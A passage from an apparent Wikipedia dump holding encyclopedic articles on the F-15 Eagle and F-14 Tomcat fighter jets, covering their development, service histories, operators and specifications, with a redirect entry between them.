The Eagle can be armed with combinations of four different air-to-air weapons: [[AIM-7 Sparrow|AIM-7F/M Sparrow]] missiles or [[AIM-120 AMRAAM]] advanced medium range air-to-air missiles on its lower fuselage corners, [[AIM-9 Sidewinder|AIM-9L/M Sidewinder]] or AIM-120 missiles on two pylons under the wings, and an internal 20 mm Gatling gun in the right wing root. 

Low-drag, [[Conformal Fuel Tanks]] were especially developed for the F-15C and D models. Conformal fuel tanks can be attached to the sides of the engine air intake trunks under each wing and are designed to the same load factors and airspeed limits as the basic aircraft. Each conformal fuel tank contains about 114 cu. ft. (3,200 L) of usable space. These tanks reduce the need for [[in-flight refueling]] on global missions and increase time in the combat area. All external stations for munitions remain available with the tanks in use. Sparrow or AMRAAM missiles, moreover, can be attached to the corners of the conformal fuel tanks.  Because the CFTs degrade performance (although not as much as normal external tanks), and cannot be jettisoned in-flight (unlike normal external tanks) air combat F-15s (A/B/C/D) typically fly without them, while the F-15E typically flies with them.

The [[F-15E Strike Eagle]] is a two-seat, dual-role, totally integrated fighter for all-weather, air-to-air and deep interdiction missions. The rear cockpit is upgraded to include four multi-purpose CRT displays for aircraft systems and weapons management. The digital, triple-redundant Lear Siegler flight control system permits coupled automatic terrain following, enhanced by a ring-laser gyro inertial navigation system. 

For low-altitude, high-speed penetration and precision attack on tactical targets at night or in adverse weather, the F-15E carries a high-resolution [[APG-63 &amp; APG-70 F-15 Radars|APG-70]] radar and low-altitude navigation and targeting infrared for night pods.

==Service history==
The original and largest operator of the F-15 is the [[United States Air Force]].  

[[Image:F-15 vertical deploy.jpg|thumb|200px|F-15D from the 325 Fighter Wing based in Tyndall AFB, FL releasing flares]]
The first '''F-15A''' flight was made in July [[1972 in aviation|1972]], and the first flight of the two-seat '''F-15B''' (formerly '''TF-15A''') trainer was made in July [[1973 in aviation|1973]]. The first Eagle (F-15B) was delivered in [[November]] [[1974 in aviation|1974]]. In January [[1976 in aviation|1976]], the first Eagle destined for a combat squadron was delivered. These initial aircraft carried the [[Hughes Aircraft]] (now [[Raytheon]]) [[APG-63 &amp; APG-70 F-15 Radars|APG-63]] radar.

The single-seat '''F-15C''' and two-seat '''F-15D''' models entered the Air Force inventory beginning in [[1979 in aviation|1979]]. These new models have Production Eagle Package (PEP 2000) improvements, including 2,000 lb (900 kg) of additional internal fuel, provision for carrying exterior conformal fuel tanks and increased maximum takeoff weight of up to 68,000 lb (30,700 kg). 

The F-15 Multistage Improvement Program was initiated in February [[1983 in aviation|1983]], with the first production MSIP F-15C produced in [[1985 in aviation|1985]]. Improvements included an upgraded central computer; a Programmable Armament Control Set, allowing for advanced versions of the AIM-7, AIM-9, and AIM-120A missiles; and an expanded Tactical Electronic Warfare System that provides improvements to the ALR-56C radar warning receiver and ALQ-135 countermeasure set. The final 43 included the enhanced-capability Hughes APG-70 radar which was carried forward into the F-15E.  The earlier MSIP F-15C's with the APG-63 were later upgraded to the APG-63(V)1, which significantly improves reliability and maintainability while providing performance similar to the APG-70. A limited number of F-15C aircraft have also been fitted with the APG-63(V)2 [[AESA]] radar.

F-15A and B models were utilized by Israel during the [[1982 Lebanon War|Bekaa Valley]] operation.

F-15C, D, and E models were deployed to the Persian Gulf in 1991 in support of Operation [[Desert Storm]] where they accounted for 36 of the 39 Air Force air-to-air victories.  F-15Es were operated mainly at night, hunting SCUD missile launchers and artillery sites using the LANTIRN system. 

They have since been deployed to support Operation Southern Watch, the patrolling of the [[Iraqi no-fly zones|No-Fly Zone]] in Southern Iraq; Operation Provide Comfort in Turkey; in support of NATO operations in Bosnia, and recent air expeditionary force deployments.

===Inventory===
The USAF has an active force of 396 aircraft, with a further 126 in the [[Air National Guard]].

===Users===
The F-15 is also operated by [[Israeli Air Force]] (F-15 and F15I Thunder), [[Japan Air Self-Defence Force|Japanese Air Force]] (F-15J) and [[Royal Saudi Air Force]] (F-15C, F-15S). In May 2005, [[Republic of Singapore Air Force|Singapore]] made the decision of replacing its fleet of outdated [[A-4 Skyhawk|A-4 Skyhawks]] with the [[F-15SG]]. Negotiations for contract signing are still underway. A special version of the F-15E, the [[F-15K]] has been ordered by [[Republic of Korea Air Force|South Korea]], with final assembly of the first example beginning in June, 2004.  It will be the first to sport twin [[General Electric F110|F110-GE]] engines from General Electric, with additional thrust. All previous F-15s had engines from Pratt and Whitney.

===Controversy===
Some members of the military, most infamously the 'Fighter Mafia', a group of strategists that formed in response to early losses in the air-battles of [[Vietnam]], felt that the F-15 was merely an updated version of the [[F-4]], a plane that suffered losses dogfighting in Vietnam.

Criticisms of the F-15's close combat maneuverability, large size and cost led to the development of the [[F-16]], an airplane that complements the F-15 by having strengths in those areas listed.

===Kill record===
[[Image:USAF F-15C fires AIM-7 Sparrow.jpg|right|thumb|250px|F-15C fires AIM-7 Sparrow]]

As of 2005, the F-15 in all air forces has a combined kill record of 104 kills to zero (confirmed) losses in air combat (exluding the case of a Japanese F-15J that shot down another F-15J in 1995 due to an AIM-9 Sidewinder safety malfunction during [[Live fire exercise|air-to-air combat training with live weapons]]). To date, the air superiority version of the F-15 (F-15A/B/C/D models) has never been shot down by an enemy aircraft, although some F-15s have been claimed by [[surface-to-air missiles]] of the Syrian Air Force (however, most sources say that, to date, no F-15s have been shot down in [[air-to-air combat]]).

Over half of the F-15's kills were made by [[Israeli Air Force]] pilots during the [[1982 Lebanon War]]. The Israeli Air Force shotdown dozens of Syrian-piloted Russian [[MiG-21]]s (the reported figure varies from 80-92) and several [[MiG-25]]s. A substantial fraction of these MiGs were shot down by F-15s.

Royal Saudi Air Force F-15 pilots shot down two [[F-4 Phantom]]s flown by the Iranian Air Force in a border skirmish in 1984, and shot down two Iraqi Mirage F1 during the [[Gulf War]]. 

Thirty-four aircraft kills were by USAF F-15Cs in the 1991 Gulf War, mostly by missile fire.  After F-15s shot down all of the top Iraqi pilots in the first 3 days of the conflict, many of the later kills were reportedly of Iraqi aircraft fleeing, rather than actively trying to engage US planes. The single-seat F-15C was used for air superiority, and the F-15E was heavily used in air-to-ground attacks.

An F-15E achieved an aerial kill of an Iraqi helicopter using a laser-guided bomb during the air war.  The F-15E sustained two losses to ground fire in the Gulf War in 1991. One F-15E was lost in the [[2003 invasion of Iraq|2003 Invasion of Iraq]], likely due to crew error, but possibly ground fire.

USAF F-15Cs also scored several Serbian MiG-29 kills during NATO's [[Operation Allied Force]] in 1999, again without the loss of an F-15C.

===One wing is enough?===
On [[May 1]], [[1983]] during an [[Israeli Air Force]] training dogfight, an F-15D collided with an [[A-4 Skyhawk]]. The right wing of the Eagle was torn off roughly two feet (0.6 m) from the body.  The pilot, Zivi Nadavi, disobeyed his instructor's command to eject and managed to land the crippled aircraft successfully.  The aircraft was able to land because of the large horizontal surface area of the tail and the amount of lift generated by the engine intake and body. [http://www.uss-bennington.org/phz-nowing-f15.html]

===Future===
The F-15C/D model is being replaced by the [[F-22 Raptor]]. The F-15E however will remain in service for years to come because of its different air-to-ground role and the low number of hours on their airframes.  Some USAF F-15Cs have been retrofitted with Electronically Scanned Array (ESA) radars and are expected to remain in service with the USAF well past 2020.  The Royal Saudi Air Force has purchased several squadrons of long-range F-15S models, the Republic of Korea is purchasing upgraded F-15Ks, and Singapore is purchasing the F-15SG variant.

==Specifications (F-15 Eagle)==

===General characteristics===
[[Image:EG-0033-01.gif|thumb|right|300px|Broad specifications for the F-15 ACTIVE.]]
* '''Crew:''' 1 (A/C), 2 (B/D/E)
* '''Length:'''  63.8 ft (19.44 m)
* '''Wingspan:'''   42.8 ft (13 m)
* '''Height:'''   18.5 ft (5.6 m)
* '''Wing area:'''   608 ft&amp;sup2; (56.5 m&amp;sup2;)
* '''Empty:'''   28,000 lb (12,700 kg)
* '''Loaded (C variant):'''   44,500 lb  (20,200 kg)
* '''Maximum takeoff:'''  
**'''C/D:''' 68,000 lb (30,844 kg)
**'''E:''' 81,000 lb (36,700 kg)
* '''Powerplant:''' Engines
**'''F-15C/E:''' 2x [[Pratt &amp; Whitney F100]]-229 afterburning turbofans, 29,000 lbf (129 kN) thrust each
*'''Radar:''' [[Raytheon]] [[APG-63 &amp; APG-70 F-15 Radars|AN/APG-63 or AN/APG-70]]
*'''Countermeasures:''' AN/APX-76 IFF interrogator, AN/ALQ-128 radar warning suite, AN/ALR-56 radar warning receiver, ALQ-135 internal countermeasures system, AN/ALE-45 chaff/flare dispensors
*'''Unit cost(FY$98):''' $43 million (F-15C/D), approximately $55 million (F-15E/F)

===Performance===
* '''Maximum speed:'''  1,875 mph (3000 km/h) (Mach 2.5) - other sources say 2,655 km/h
* '''Range:'''  3,450 km ferry range (approx. 2156 miles), approx 5, 500 km with drop tanks
* '''Service ceiling:'''
**'''A/B/C/D:''' 65,000 ft (19,812 m)
**'''E:''' 50,000 ft (15,000 m)
* '''Rate of climb:'''  50,000 ft/min (15,240 m/min)
&lt;!--
* '''Wing loading:'''  Unknown lb/ft&amp;sup2; ( Unknown kg/m&amp;sup2;)
* '''Thrust/weight:''' Unknown
--&gt;

===Armament===
*6 wing, 4 fuselage, and 1 centerline hardpoint (The F-15E strike version has 4 additional fuselage hardpoints) for a total of 16,000 lb (7,300 kg) ordinance, including:
**'''Guns:''' 1x [[M61 Vulcan]] 20 mm [[Gatling gun]] with 940 rounds (A/B/C/D), 500 rounds (E)
**'''Missiles:''' Combination of [[AIM-7|AIM-7F Sparrows]], [[AIM-120 AMRAAM]]s, and [[AIM-9 Sidewinder]]s on 4 wing and 4 fuselage pylons, plus a total ordnance load of 16,000 lb (7,300 kg) on two wing stations and one centerline station
**'''Bombs:''' The F-15E model is capable of carrying almost every air to ground bomb in the USAF inventory, including free fall nuclear bombs and the 4,500 lb (2000 kg) [[GBU-28]] bunker penetration bomb.

==External links==
* [http://www.af.mil/factsheets/factsheet.asp?fsID=101 USAF fact sheet]
* [http://www.f15.com f15.com]
* [http://www.boeing.com/defense-space/military/f15/flash.html F-15 Eagle official website from Boeing]
* http://www.geocities.com/CapeCanaveral/Hangar/2848/f15.htm
* http://www.airtoaircombat.com/background.asp?id=11&amp;bg=21
* http://www.faqs.org/docs/air/avf15_2.html
* http://www.militaryfactory.com/aircraft/detail.asp?aircraft_id=21

==F-15 in Pop Culture==
As an iconic [[heavy fighter]] of modern air power, the F-15 often finds itself fictionalized.

The F-15 was the subject of the [[IMAX]] movie Fighter Pilot: Operation Red Flag, about the [[RED FLAG exercise]]s.

==Related content==
{{Commons|F-15 Eagle}}
'''Comparable aircraft:'''
[[Mikoyan-Gurevich MiG-25|MiG-25]] -
[[Mikoyan-Gurevich MiG-29|MiG-29]] -
[[Su-27]] -
[[Su-30]]

'''Designation series:'''
[[F-11 Tiger|F-11]] -
[[Lockheed YF-12|YF-12]] -
[[F-14 Tomcat|F-14]] -
'''F-15''' - 
[[F-16 Fighting Falcon|F-16]] -
[[YF-17 Cobra|F-17]] -
[[F/A-18 Hornet|F/A-18]]

'''Variants:'''
[[F-15A]] -
[[F-15B]] -
[[F-15C]] -
[[F-15D]] -
[[F-15E Strike Eagle|F-15E]] -
[[F-15I]] -
[[F-15K]] -
[[F-15S]] - 
[[F-15SG]] -
[[F-15S/MTD]]

===Other Aircraft named F-15===
During the Second World War, Northrop built an unarmed version of the [[P-61 Black Widow]] called the F-15 Reporter (F under the Army Air Force system in use until the formation of the United States Air Force in 1947 stood for Photo Reconnaissance).

===See also===
* [[List of military aircraft of the United States]]
* [[List of fighter aircraft]]
* [[Comparison of 21st century fighter aircraft]]
{{airlistbox}}
[[Category:U.S. fighter aircraft 1970-1979]]

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    <title>Fall of man</title>
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      <id>19052581</id>
      <timestamp>2005-07-18T01:39:38Z</timestamp>
      <contributor>
        <username>GTBacchus</username>
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      <text xml:space="preserve">#REDIRECT [[The Fall of Man]]</text>
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  <page>
    <title>F-14 Tomcat</title>
    <id>11719</id>
    <revision>
      <id>42164216</id>
      <timestamp>2006-03-04T06:14:28Z</timestamp>
      <contributor>
        <username>TKE</username>
        <id>531146</id>
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      <comment>Revert to revision 42062282 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:F-14.jpg|right|350px]]
The [[Grumman Aircraft Engineering Corporation|Grumman]] '''F-14 Tomcat'''  is a [[United States Navy]] [[supersonic]], twin-engine, [[Swing-wing|variable sweep wing]], two-seat strike [[fighter jet|fighter]]. The Tomcat's primary missions are [[air superiority]], fleet air defense, and precision strike against ground [[target]]s. The first F-14 flight was in 1970.

The sole foreign customer for the Tomcat was the [[Imperial Iranian Air Force]] (IIAF) during the reign of the [[Shah of Iran]]. A total of 80 [[aircraft]] were ordered, but only 79 were delivered, as the last unit was [[embargo]]ed and turned over to the United States Navy. It has been rumoured that some of the surviving Iranian F-14's are reportedly still operational today, but a lack of spare parts is likely taking a toll on their combat readiness. Also, it should be noted that the amount of real flight time required to maintain any proficiency in the tactical operation of this aircraft is well beyond their ability to retain any real operational effectiveness. 

==Development==
The F-14 was developed to take the place of the aborted [[General Dynamics]] [[General Dynamics F-111|F-111B]] (also called the TFX), a navalized version of the [[United States Air Force|U.S. Air Force]] tactical strike aircraft. Intended to provide fleet air defense, the F-111B proved unmaneuverable, overweight, and, in general, poorly suited to [[aircraft carrier]] operations.  This led to its cancellation in [[1968 in aviation|1968]].

Early in development, the Tomcat was already shown to have advantages over the failing F-111B. It was smaller, lighter, and more fuel-efficient than the TFX. Ironically, much of the F-14's equipment was re-used from the TFX, including the [[AN/AWG-9]] [[radar]], [[AIM-54 Phoenix]] missile, and the [[Pratt &amp; Whitney TF30]] engines.

To facilitate early introduction of the F-14 into service the first version of the aircraft was planned using the engine and weapons system technology from the F-111B, and then progressively introduce new engines and a new weapons system into the new F-14 [[airframe]]. Thus, the designation '''F-14A''' was assigned to the new aircraft equipped with updated TF-30 engines and the AN/AWG-9 weapons system from the [[F-111B]]. The original plan was to only build a few F-14As, as the TF30 was known to be a troublesome engine.  In addition, the engine was not designed for fighter-type operations and only put out 74% of the thrust for which the F-14 was designed. An '''F-14B''' would follow using the engine from the advanced technology engine competition. The 'B' would then be followed by the '''F-14C''', with a new weapons system replacing the AN/AWG-9.  However, the AN/AWG-9 replacement was delayed.  When it finally arrived as the AN/APG-71, the designation assigned to the new aircraft was '''F-14D''': the F-14C was never produced.

The Tomcat was intended as an uncompromising air superiority fighter and interceptor, charged with defending [[carrier battle group]]s against [[Soviet Navy]] aircraft armed with [[cruise missiles]]. It carried the [[Hughes Aircraft|Hughes]] [[AN/AWG-9]] long-range radar originally developed for the F-111B, capable of detecting bomber-sized targets at ranges exceeding 160 km (100 miles), tracking 24 targets and engaging six simultaneously. In a now famous test, an F-14 simultaneously shot down five of six target drones. However it has recently been mentioned that the six drones never attempted to employ defensive maneuvers or jamming and thus didn't simulate realistic targets. Originally, the F-14's primary weapon was the [[AIM-54 Phoenix]] missile, capable of engaging a target at up to 200 km (120 statute miles), but this was removed from service on [[30 September]] [[2004 in aviation|2004]]. The F-14 was the only aircraft to carry this weapon, which was designed as an integral part of the Tomcat weapons system. Although it could carry up to six of these large weapons, its heavy weight only enabled the F-14 to land on a carrier with a maximum load of two. Medium-range armament is provided by the [[AIM-7 Sparrow]] [[semi-active radar homing]] missile, backed by [[AIM-9 Sidewinder]] [[infrared homing|infrared]] missiles and a single [[M61 Vulcan]] 20 mm [[cannon]] for close-in use. The F-14 was designed with some air-to-ground capability, but this was not explored until late in its career; Tomcats have now been equipped to carry the LANTIRN targeting system for use by [[laser-guided bomb]]s and other precision-guided weapons. Some F-14's are also equipped to carry the [[Tactical Air Reconnaissance Pod System]] (TARPS) pod, giving the Navy what was then its only manned tactical reconnaissance platform. 

The F-14 was one of the most maneuverable and agile airplanes of its generation. The flat, pancake-like section between the engines acts as an airfoil to provide additional lift, giving the Tomcat an effective wing area about 40% greater than its actual wing dimensions. This results in relatively low effective [[wing loading]]. The Tomcat also has a Mach Sweep Programmer (MSP) that automatically adjusts the wing angle for optimum flight performance (the only VG aircraft so equipped — a similar system was tested but not used for the [[Panavia]] [[Panavia Tornado|Tornado ADV]]), and movable glove vanes that offset the migration of the center of lift rearwards as airspeed increased.  Pilots could also manually deploy them for extra assist in turns. However, the benefits were not considered worth the maintenace workload caused by the vanes and they were subsequently removed on later variants. Most variable-geometry aircraft are optimized for fast, low-altitude attack, emphasizing good gust response rather than maneuverability. Despite the Tomcat's considerable size, its agility compares well to many other fighters, although that created problems for the troublesome and unreliable TF30 turbofans, which were subject to compressor stalls in violent maneuvers or high [[angle of attack|alpha]].  Once the reliable F110 engines arrived, which also provided the F-14 with the full thrust for which it was designed, the full capability of the aircraft became apparent.  The plane accelerates and decelerates very rapidly, and while it can't match it in roll, is said to be able to consistently fight F-16Cs to a draw close in while retaining its speed, endurance and avionics advantages.  Although the F-14 is capable of Mach 2.4+, experience has shown that very little time is spent above Mach 2. Despite its agility in the air, the F-14 is notoriously difficult to land on a carrier deck and its service has been marred by numerous landing accidents.  

The F-14 entered the fleet in [[1972 in aviation|1972]], replacing the [[F-4 Phantom II]] which was phased out in 1986, and entered operational service with Navy fighter squadrons [[VF-1]] Wolfpack and [[VF-2]] Bounty Hunters aboard the [[USS Enterprise (CVN-65)|USS Enterprise (CVN 65)]] in September 1974. The F-14B, introduced in November 1987, incorporated the new General Electric F110 engines. In [[1995 in aviation|1995]], an upgrade program was initiated to incorporate new digital avionics and weapon system improvements to strengthen its multi-mission competitive edge. The F-14D, delivered in [[1990 in aviation|1990]] in reduced numbers, was a major upgrade with F-110 engines, new AN/APG-71 radar system, Airborne Self Protection Jammer (ASPJ), Joint Tactical Information Distribution System (JTIDS) and [[Infra-red search and track|Infrared Search and Track (IRST)]]. Additionally, all F-14 variants were given precision strike capability using the LANTIRN targeting system, night vision compatibility, new defensive countermeasures systems and a new digital flight control system.
[[Image:F-14-vf-84.jpg|thumb|left|300px|An F-14A of [[VF-84 Jolly Rogers]], in the old color scheme from the beginning of its service.]]

The Tomcat is said to be named for the late [[Vice Admiral]] Thomas Connolly, whose testimony before the Senate was critical in the cancellation of the deeply-flawed [[General Dynamics F-111|TFX]] project. Connolly's [[Aviator call sign|call sign]] was &quot;Tomcat,&quot; hence the popular name which also conformed with the Navy's tradition of giving feline names to [[Grumman]] fighters. In addition, &quot;Tomcat&quot; was first used for the [[F7F Tigercat]] in 1943, but was rejected by the navy as being inappropriately suggestive. 

The Tomcat had only one foreign export sale due to its cost, initial lack of ground attack capacity, and the fact that the US government generally would not allow the export of the aircraft, preferring to champion the F-15.  Its one sale made for one of the more colorful events in its history. The United States in the late 1970s supplied F-14s to [[Iran]], only to have them fall into the hands of the [[Islamic Republic of Iran]] after the [[1979 in aviation|1979]] revolution. The US subsequently cut off tech support for the Iranian Tomcats. For many years it was thought that from that point forward Iran used the fighter primarily as an airborne radar controller, escorted and protected by other fighters, but later information indicates this was incorrect. Given apparent asistance from the Soviet Union, [[Iran-Contra Affair|Iran-Contra]] supplies, cannibalization, back channel acquisition of certain parts, reverse engineering and virtually unlimited supplies of labor, the Iranians were able to keep a number of the aircraft operational.  

There are reports that the aircraft was used extensively in the Iran-Iraq War and some claim it achieved over 100 kills.  Although information received about that war is notably sketchy and some sources may be suspect, a phenomenon from the early part of the [[Gulf War]] tends to lend some credibility to these claims.  In the Gulf War, F-14s were used primarily for strike package escort and reconnaissance due to the way the Air Tasking Orders were set up. The emissions from the AWG-9 are instantly recognizable, due to its very powerful transmitter (retained for the APG-71).  When Iraqi fighters were detected inbound, as soon as the Tomcats &quot;lighted up&quot;, the Iraqis would immediately abandon the attack while well out of range, perhaps indicating their familiarity with both the Tomcat and the AIM-54.  

Some rumors suggest that a few of the [[AIM-54 Phoenix]] missiles supplied to Iran before the revolution were sold to the [[Soviet Union]], where they may have strongly influenced the development of the similar [[Vympel]] [[Vympel R-33|AA-9 'Amos']] long-range missile. In return, the Soviets may have assisted in returning the Phoenix to service in Iran. Furthermore, an attempt was made to adapt the [[MIM-23 HAWK]] [[surface-to-air defence missile]]s that were also a carryover from the pre-revolution period to be used as [[air-to-air missile]]s for the F-14, but this proved unsuccessful.

=== The future of the F-14 ===
[[Image:Tomcat.f14.750pix.jpg|thumb|right|285px|Sailors prepare an F-14 Tomcat for flight on the aircraft carrier [[USS Abraham Lincoln (CVN-72)|USS Abraham Lincoln]], in support of [[2003 invasion of Iraq|Operation Iraqi Freedom]] ([[2003 in aviation|2003]]).]]
The original F-14 was intended to be a multi-role aircraft with a potent strike capability from the outset.  However, budget constraints, and the assigning of the strike role to the [[F/A-18]] meant that this capability was dropped before the F-14 was brought into service.  It was resurrected later in its life, however, with the ability for later model F-14s to carry the [[LANTIRN]] pod. With this accessory the F-14 could deliver [[Laser-guided bomb]]s or many other Navy air-to-ground munitions with a fair amount of accuracy over intermediate ranges. After the retirement of the A-6 [[attack aircraft]], the F-14 was the longest range strike platform on U.S. [[supercarrier]]s. It is debatable, and to many doubtful, whether the [[Super Hornet]] will be able to deliver the quantity of munitions that the F-14 can over similar ranges. Unfortunately, without the ability to re-manufacture or replace the F-14 fleet, the tired and high-maintenance airframes and engines fitted mostly with technology from the 1970s are on their way out, though by many standards it is still superior to the fighters of many airforces.  Regardless, the decision to incorporate the [[Super Hornet]] and decommission the F-14 is mainly due to the high amount of maintenance required to keep the Tomcats operational. On average, an F-14 requires nearly 50 maintenance hours for every flight hour, while the [[Super Hornet]] requires five to 10 maintenance hours for every flight hour.

Grumman had submitted several proposals to the Navy to upgrade the Tomcat beyond the D model (such as the '''Super Tomcat 21''', the cheaper '''QuickStrike''' version, and the more advanced '''Attack Super Tomcat 21''') but the [[Super Hornet]] was chosen as the future Navy [[attack aircraft]] instead. Grumman was acquired by [[Northrop]] in [[1994 in aviation|1994]] (the F-14 was probably the only program keeping them in business), sealing the fate of the F-14.

The F-14 is rapidly disappearing from U.S. Navy service. It originally was slated to remain in service through at least 2008, but all F-14A and F-14B airframes have already been retired, and only two squadrons, the [[VF-31]] Tomcatters and the [[VF-213]] Black Lions, which both fly the &quot;D&quot; models, remain, and will be disestablished or converted by September 2006, to be replaced by the Boeing [[F/A-18E/F Super Hornet]]. 

The last F-14 combat mission was completed on February 8, 2006, when a pair of Tomcats landed aboard the [[USS Theodore Roosevelt (CVN-71)|USS Theodore Roosevelt (CVN 71)]] after one dropped a bomb in Iraq. The plane was part of [[VF-31]] and the last pilot credited with a bomb drop in combat was Lt. Bill Frank. An F-14D from VF-213 was the last F-14 to land on an aircraft carrier after a combat mission, it was piloted by Capt. William G. Sizemore. During their final deployment with the [[USS Theodore Roosevelt (CVN-71)|USS Theodore Roosevelt (CVN 71)]], VFs[[VF-31|-31]] and [[VF-213|-213]] collectively completed 1,163 combat sorties totaling 6,876 flight hours, and dropped 9,500 pounds of ordnance during reconnaissance, surveillance, and close air support missions in support of OIF.  [[VF-213]] pilots who are making the transition to the Super Hornet will begin [[F/A-18E/F Super Hornet|F/A-18F]] (double seat) training in April, and the squadron will be operational, or “safe for flight,” in September. [[VF-31]] pilots who are making the transition will begin [[F/A-18E/F Super Hornet|F/A-18E]] (single seat) training in October, and the squadron will be safe for flight in April 2007. This will make [[VF-31]] the last official Tomcat squadron in the Navy.


&lt;ref&gt;[http://www.news.navy.mil/search/display.asp?story_id=22325  ''TR Traps Last Tomcat from Combat Mission'', from Navy Newsstand&lt;/ref&gt;


* First flight: [[December 21]], [[1970 in aviation|1970]] (F-14A), [[November 24]], [[1987 in aviation|1987]] (F-14D)
* [[Entry into service]]: 1973
* Unit Cost: [[United States dollar|US$]]38 million
* Avionics: [[Hughes Aircraft|Hughes]] [[AN/AWG-9]] (F-14A/B) radar, Hughes [[AN/APG-71]] radar (F-14D), AN/ASN-130 INS, IRST, TCS

===Operators===
*[[United States Navy]]
*[[Islamic Republic of Iran Air Force|Iranian Air Force]] (F-14A)

==USN squadrons==
*[[VF-1]] Wolfpack (Disestablished September 30, 1993)
*[[VF-2]] Bounty Hunters (Redesignated [[VFA-2]] with [[F/A-18F]] July 1, 2003)
*[[VF-11]] Red Rippers (Redesignated to [[VFA-11]] with [[F/A-18F]] in May, 2005)
*[[VF-14]] Tophatters (Redesignated [[VFA-14]] with [[F/A-18E]] December 1, 2001)
*[[VF-21]] Freelancers (Disestablished January 31, 1996)
*[[VF-24]] Fighting Renegades (Disestablished August 20, 1996)
*[[VF-31]] Tomcatters (Active; scheduled for redesignation to [[VFA-31]] with [[F/A-18E]] in Sept 2006)
*[[VF-32]] Swordsmen (Redesignated [[VFA-32]] with [[F/A-18F]] on October 1, 2005)
*[[VF-33]] Starfighters (Disestablished October 1, 1993)
*[[VF-41]] Black Aces (Redesignated [[VFA-41]] with [[F/A-18F]], December 1, 2001)
*[[VF-51]] Screaming Eagles (Disestablished March 31, 1995)
*[[VF-74]] Bedevilers  (Disestablished April 30, 1994)
*[[VF-84]] Jolly Rogers (Disestablished October 1, 1995)
*[[VF-101]] Grim Reapers (Disestablished September 15, 2005)
*[[VF-102]] Diamondbacks (Redesignated [[VFA-102]] with [[F/A-18F]] in May 1, 2002)
*[[VF-103]] Sluggers/Jolly Rogers (Redesignated [[VFA-103]] with [[F/A-18F]] May 1, 2002)
*[[VF-111]] Sundowners (Disestablished March 31, 1995) 
*[[VF-114]] Aardvarks  (Disestablished April 30, 1993)
*[[VF-124]] Gunfighters (Disestablished September 30, 1994)
*[[VF-142]] Ghostriders (Disestablished April 30, 1995)
*[[VF-143]] Pukin' Dogs (Redesignated [[VFA-143]] with [[F/A-18E]] in early 2005)
*[[VF-154]] Black Knights (Redesignated [[VFA-154]] with [[F/A-18F]] October 1, 2003)
*[[VF-191]] Satan's Kittens (Disestablished April 30, 1988)
*[[VF-194]] Red Lightnings (Disestablished April 30, 1988) 
*[[VF-201]] Hunters (Redesignated [[VFA-201]] with [[F/A-18 Hornet|F/A-18A]] January 1, 1999)
*[[VF-202]] Superheats (Disestablished December 31, 1999)
*[[VF-211]] Fighting Checkmates (Redesignated [[VFA-211]] with [[F/A-18F]] October 1, 2004)
*[[VF-213]] Black Lions (Active; scheduled for redesignation to [[VFA-213]] with [[F/A-18F]] in May 2006)
*[[VF-301]] Devil's Disciples (Disestablished December 31, 1994)
*[[VF-302]] Stallions (Disestablished December 31, 1994)
*[[VX-4]] Evaluators (Disestablished September 30, 1994)
*[[VX-9]] Vampires (Currently operates F/A-18C/D/E/F, EA-6B, AV-8B, &amp; AH-1)

==IRIAF squadrons==
*[[82 TFS]]
*[[83 TFS]]

==Specifications (F-14 Tomcat)==
[[Image:F14Missile.jpg|thumb|300px|An F-14 launches an [[AIM-7 Sparrow]]]]
[[Image:F-14Schematic.jpg|An F-14 Schematic]]
===General characteristics===
* '''Crew:''' 2 ([[Aviator|Pilot]] and [[Naval Flight Officer|Radar Intercept Officer]])
* '''Capacity''' Air Superiority / Fighter Interceptor
* '''Length:'''  18.6 m (61 ft 9 in)
* '''Wingspan:''' 19 m (64 ft) unswept, 11.4 m (38 ft) swept
* '''Height:'''   16 ft (4.8 m)
* '''Wing area:'''   565 ft&amp;sup2;  (54.5 m&amp;sup2;)
* '''Empty:'''  19,000 kg (42,000 lb)
* '''Loaded:'''  28,000 kg (61,000 lb)
* '''Maximum takeoff:''' 32,805 kg (72,900 lb)
* '''Powerplant:'''
** '''F-14A''': 2x [[Pratt &amp; Whitney]] [[Pratt &amp; Whitney TF-30|TF-30P-414A]] turbofans, 12,285 lbf (68 kN) installed thrust at sea level, 20,000 lbf (93 kN) installed thrust at sea level with afterburner
** '''F-14B/D''': 2x [[General Electric Aircraft Engines|General Electric]]  [[General Electric F110|F110-GE-400]] turbofans, 13,810 lbf (72 kN) installed thrust at sea-level, 24,000 lbf (117 kN) installed thrust with afterburner at sea-level

===Performance===
* '''Maximum speed:'''  1,544 mph (2,485 km/h) Mach 2.34
* '''Combat radius:'''  576 miles &lt;!-- nautical or statute? --&gt; (927 km)
* '''Service ceiling:'''  50,000+ ft (16,000+ m)
* '''Rate of climb:'''  F-14A: 30,000 ft/min (9,145 m/min);  F-14B/D: 45,000+ ft/min (13715+ m/min)
* '''Wing loading:'''  113.4 lb/ft&amp;sup2;  (553.9 kg/m&amp;sup2;)
* '''Thrust/weight:''' F-14A: 0.72 lbf/lb (7.1 N/kg); F-14B/D: 0.88lbf/lb (8.7 N/kg)

===Avionics===
* F-14A/B Hughes AN/AWG-9 Radar
* F-14D Hughes AN/APG-71 Radar


===Armament===
*13,000 lb (5,900 kg) of ordinance including;
**'''Guns:''' 1x [[M61 Vulcan]] 20 mm [[Gatling Gun]]
**'''Missiles:''' [[AIM-54 Phoenix]], [[AIM-7 Sparrow]] and [[AIM-9 Sidewinder]] [[Air-to-air missile|air-to-air]]
**'''Loading configurations:'''
*** 2x AIM-9 + 6x AIM-54
*** 2x AIM-9 + 2x AIM-54 + 3x AIM-7
*** 2x AIM-9 + 4x AIM-54 + 2x AIM-7
*** 2x AIM-9 + 6x AIM-7
*** 4x AIM-9 + 4x AIM-54
*** 4x AIM-9 + 4x AIM-7
**'''Bombs:''' [[GBU-10]], [[GBU-12]], [[GBU-16]], [[GBU-24]], [[GBU-24E]] Paveway I/II/III LGB, [[GBU-31]], [[GBU-38]] [[JDAM]], [[Mk 20 Rockeye]], [[Mk-82]], [[Mark 83 bomb|Mk-83]] and [[Mk-84]] series iron bombs

== F-14 in combat ==
[[Image:gw-tomphoenix.jpg|thumb|300px|An F-14 launches an [[AIM-54 Phoenix]] during training]]
F-14s of the U. S. Navy have shot down five enemy aircraft for no losses. One has been lost to a [[surface-to-air missile]].
* F-14s from VF-1 and VF-2 flew top cover for [[Operation Frequent Wind]]; evacuation of [[Saigon]], [[Vietnam]] in the month of [[April]], [[1975]]  
